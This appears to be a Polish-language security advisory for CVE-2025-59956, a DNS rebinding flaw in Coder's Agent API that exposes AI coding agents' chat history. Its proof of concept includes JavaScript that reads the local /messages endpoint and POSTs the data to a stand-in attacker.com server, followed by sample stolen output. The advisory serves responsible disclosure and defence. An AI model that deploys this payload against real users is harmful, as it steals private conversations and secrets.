Autor: Evan Harris
Komponent, którego dotyczy problem: Agent API firmy Coder
CVE: CVE-2025-59956
Wynik CVSS 3.1: 6.5 (Średni) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Przegląd

Agent API firmy Coder to otwartoźródłowe API HTTP dla Claude Code, Goose, Aider, Gemini, Amp i Codex.

MCPSec wykrył w Agent API podatność typu DNS rebinding, która pozwala zdalnym atakującym na eksfiltrację historii wiadomości Claude Code danego użytkownika.

Coder naprawił ten problem w wydaniu v0.4.0. Użytkownicy Agent API powinni zaktualizować do tej lub nowszej wersji.

Wpływ

Atakujący uzyskują pełny dostęp GET do punktu końcowego /messages udostępnianego przez Agent API.

Umożliwia to nieautoryzowaną eksfiltrację wrażliwych danych użytkownika, w szczególności lokalnej historii wiadomości, która może obejmować tajne klucze, zawartość systemu plików oraz własność intelektualną, nad którą użytkownik pracuje lokalnie.

DNS rebinding może nastąpić w ciągu kilku sekund po nawiązaniu połączenia ze złośliwym serwerem WWW.

Proof of Concept

Przyjmijmy następujące założenia:

  • Na komputerze ofiary działa Agent API.
  • Ofiara przechodzi na złośliwą stronę internetową.
  • Strona internetowa przeprowadza atak DNS rebinding, aby zmanipulować przeglądarkę ofiary tak, by w imieniu atakującego komunikowała się z podatnym Agent API.

Po zakończeniu DNS rebindingu atakujący może korzystać z lokalnie udostępnianego punktu końcowego /messages. Całą historię czatu ofiary z Agent API można wyeksfiltrować na serwer atakującego.

MCPSec przeprowadził atak typu proof of concept w następujący sposób:

  1. Wdrożyć aplikację do DNS rebindingu (np. Singularity of Origin).

  2. Skonstruować ładunek udostępniany przez złośliwą stronę internetową w celu pozyskania i eksfiltracji danych.

Ten kod JavaScript, udostępniany ze złośliwej strony, pobiera historię wiadomości i wysyła ją do atakującego.

const AgentAPI = () => {
  function attack(headers, cookie, body) {
    fetch('http://localhost:3284/messages', {
      method: 'GET',
      mode: "cors",
    }).then(response => {
      const ATTACKER_SERVER = 'https://attacker.com/steal'
      response.json().then(victimMessageHistory => {
        fetch(ATTACKER_SERVER, {
          method: 'POST',
          headers: {
            'Content-Type': 'application/json',
          },
          body: JSON.stringify(victimMessageHistory)
        }).then(r => {
          console.log("attacker server response", r)
        }).catch(e => {
          console.error('failed to post', e)
        })
      }).catch(e => {
        console.error('failed to parse response ', e)
      })
    }).catch(e => {
      console.error("failed to get messages", e)
    })
  }

  // Invoked to determine whether the rebinded service
  // is the one targeted by this payload. Must return true or false.
  async function isService(headers, cookie, body) {
    let controller = new AbortController();
    let signal = controller.signal;
    return timeout(1000, fetch(`http://localhost:3284/docs`, {
        mode: 'no-cors',
        credentials: 'omit',
        signal
      }), controller)
      .then(response => {
        return true;
      })
      .catch(e => {
        return (false);
      })
  }

  return {
    attack,
    isService
  }
}

Registry["AgentAPI"] = AgentAPI();

Punkt końcowy /messages jest udostępniany na lokalnym komputerze ofiary i po zapytaniu odpowiada jej historią czatu.

  1. Atakujący musi uruchomić serwer zbierania danych, który odbierze żądanie POST. Zawartością żądania POST powinna być odpowiedź z punktu końcowego /messages Agent API ofiary.

Na komputerze ofiary Agent API zostało poproszone o zbadanie lokalnego systemu plików. Oto co zostało wysłane na serwer zbierania danych atakującego:

Poniżej znajduje się przykład danych JSON skradzionych ofierze, która zapytała agenta o swój lokalny system plików.

{
  "$schema": "http://localhost:3284/schemas/MessagesResponseBody.json",
  "messages": [{
    "id": 0,
    "content": "╭───────────────────────────────────────────────────╮ \n│ ✻ Welcome to Claude Code! │ \n│ │ \n│ /help for help, /status for your current setup │ \n│ │ \n│ cwd: /home/evan/Downloads │ \n╰───────────────────────────────────────────────────╯ \n \n ※ Tip: Press Esc twice to edit your previous messages ",
    "role": "agent",
    "time": "2025-07-25T11:20:04.988043205+02:00"
  }, {
    "id": 1,
    "content": "Hello, agent!",
    "role": "user",
    "time": "2025-07-25T13:11:16.699082236+02:00"
  }, {
    "id": 3,
    "content": "tell me about my filessytem",
    "role": "user",
    "time": "2025-07-25T13:14:51.120102556+02:00"
  }, {
    "id": 4,
    "content": "● I'll explore your filesystem to show you what's in your current directory \n and its structure. \n \n● List(.) \n ⎿ Listed 1048 paths (ctrl+r to expand) \n \n● Your Downloads directory contains a wide variety of files: \n \n Documents & PDFs [REDACTED_FOR_MY_OWN_SECURITY] The directory appears to be a typical developer's Downloads folder with a \n mix of tools, documents, and research materials, particularly focused on \n AI/ML security research.",
    "role": "agent",
    "time": "2025-07-25T13:15:10.681040365+02:00"
  }]
}

Zalecane środki zaradcze

Dla użytkowników (natychmiast)

  • Natychmiast zaktualizuj do wersji v0.4.0 lub nowszej Agent API. Ta wersja zawiera poprawkę tej podatności.

Dla programistów (długoterminowo)

  • Wdróż solidną walidację nagłówka Host dla wszystkich udostępnianych lokalnie API HTTP, aby zapobiec DNS rebindingowi.
  • Wdróż ochronę CSRF, aby zapobiec innym formom ataków cross-origin.
  • Dodaj ostrzeżenia dotyczące bezpieczeństwa w dokumentacji narzędzi udostępniających lokalne usługi sieciowe.

Ta podatność została zgłoszona zespołowi Coder zgodnie z praktykami odpowiedzialnego ujawniania. Coder zareagował szybko, aby załatać problem.

Oś czasu ujawnienia

  • 2025-07-25: Przesłano wstępne zgłoszenie podatności do firmy Coder.
  • 2025-07-25: Coder potwierdza otrzymanie zgłoszenia.
  • 2025-07-29: Coder informuje, że udało mu się odtworzyć i zweryfikować scenariusz ataku.
  • 2025-08-13: Podatność została załatana.
  • 2025-08-21: Coder zdecydował się przyznać nagrodę za bezpieczeństwo za zgłoszenie.
  • 2025-09-09: Uzgodniono obopólnie akceptowalną datę publikacji zgłoszenia.
  • 2025-09-19: Opublikowano zgłoszenie bezpieczeństwa.

Podsumowanie

Podatność typu DNS rebinding w Agent API firmy Coder pokazuje krytyczne wyzwanie w zakresie bezpieczeństwa dla rosnącego ekosystemu lokalnych narzędzi programistycznych zasilanych sztuczną inteligencją. Chociaż narzędzia te oferują potężne możliwości, muszą być budowane z nastawieniem na bezpieczeństwo w pierwszej kolejności, aby chronić przed zagrożeniami z sieci.

Wyrazy uznania dla zespołu Coder za szybką i profesjonalną reakcję podczas łatania tej podatności. Wszyscy użytkownicy Agent API powinni zaktualizować do najnowszej wersji, aby zapewnić sobie ochronę.

Odniesienia